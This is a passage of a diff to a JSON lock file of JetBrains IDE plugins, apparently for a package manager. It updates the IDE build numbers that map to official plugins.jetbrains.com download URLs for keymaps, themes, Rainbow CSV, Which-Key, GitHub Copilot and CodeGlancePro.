-        "251.25410.117": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip"
       },
       "name": "eclipse-keymap"
     },
@@ -1144,16 +1144,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/12896/173977/RainbowCSV.zip"
       },
       "name": "rainbow-csv"
     },
@@ -1175,16 +1175,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/13017/630016/keymap-visualStudio-243.21565.122.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip"
       },
       "name": "visual-studio-keymap"
     },
@@ -1206,16 +1206,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip"
       },
       "name": "indent-rainbow"
     },
@@ -1237,16 +1237,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/14004/636643/protoeditor-243.22562.13.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip"
       },
       "name": "protocol-buffers"
     },
@@ -1268,16 +1268,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
         "251.23774.423": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
-        "251.25410.104": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
-        "251.25410.115": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
-        "251.25410.117": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
         "251.25410.119": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
-        "251.25410.120": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
-        "251.25410.122": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
-        "251.25410.123": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
-        "251.25410.129": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
-        "251.25410.140": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
-        "251.25410.148": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar"
+        "251.25410.170": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
+        "251.26094.121": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
+        "251.26094.122": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
+        "251.26094.123": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
+        "251.26094.127": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
+        "251.26094.131": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
+        "251.26094.133": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
+        "251.26094.141": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar",
+        "251.26094.87": "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar"
       },
       "name": "darcula-pitch-black"
     },
@@ -1299,16 +1299,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
         "251.23774.423": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
-        "251.25410.104": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
-        "251.25410.115": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
-        "251.25410.117": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
         "251.25410.119": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
-        "251.25410.120": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
-        "251.25410.122": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
-        "251.25410.123": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
-        "251.25410.129": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
-        "251.25410.140": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
-        "251.25410.148": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar"
+        "251.25410.170": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
+        "251.26094.121": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
+        "251.26094.122": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
+        "251.26094.123": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
+        "251.26094.127": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
+        "251.26094.131": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
+        "251.26094.133": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
+        "251.26094.141": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar",
+        "251.26094.87": "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar"
       },
       "name": "mario-progress-bar"
     },
@@ -1329,17 +1329,17 @@
       ],
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar",
-        "251.23774.423": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar",
-        "251.25410.104": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar",
-        "251.25410.115": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar",
-        "251.25410.117": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar",
-        "251.25410.119": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar",
-        "251.25410.120": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar",
-        "251.25410.122": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar",
-        "251.25410.123": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar",
-        "251.25410.129": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar",
-        "251.25410.140": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar",
-        "251.25410.148": "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar"
+        "251.23774.423": "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar",
+        "251.25410.119": "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar",
+        "251.25410.170": "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar",
+        "251.26094.121": "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar",
+        "251.26094.122": "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar",
+        "251.26094.123": "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar",
+        "251.26094.127": "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar",
+        "251.26094.131": "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar",
+        "251.26094.133": "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar",
+        "251.26094.141": "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar",
+        "251.26094.87": "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar"
       },
       "name": "which-key"
     },
@@ -1361,16 +1361,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip"
       },
       "name": "extra-toolwindow-colorful-icons"
     },
@@ -1390,18 +1390,18 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
-        "251.23774.423": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
-        "251.25410.119": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip"
+        "243.22562.218": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip",
+        "251.23774.423": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip",
+        "251.25410.170": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip"
       },
       "name": "github-copilot"
     },
@@ -1423,16 +1423,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip"
       },
       "name": "netbeans-6-5-keymap"
     },
@@ -1454,16 +1454,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip"
       },
       "name": "catppuccin-theme"
     },
@@ -1485,16 +1485,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/18824/694222/CodeGlancePro-1.9.7-signed.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip",
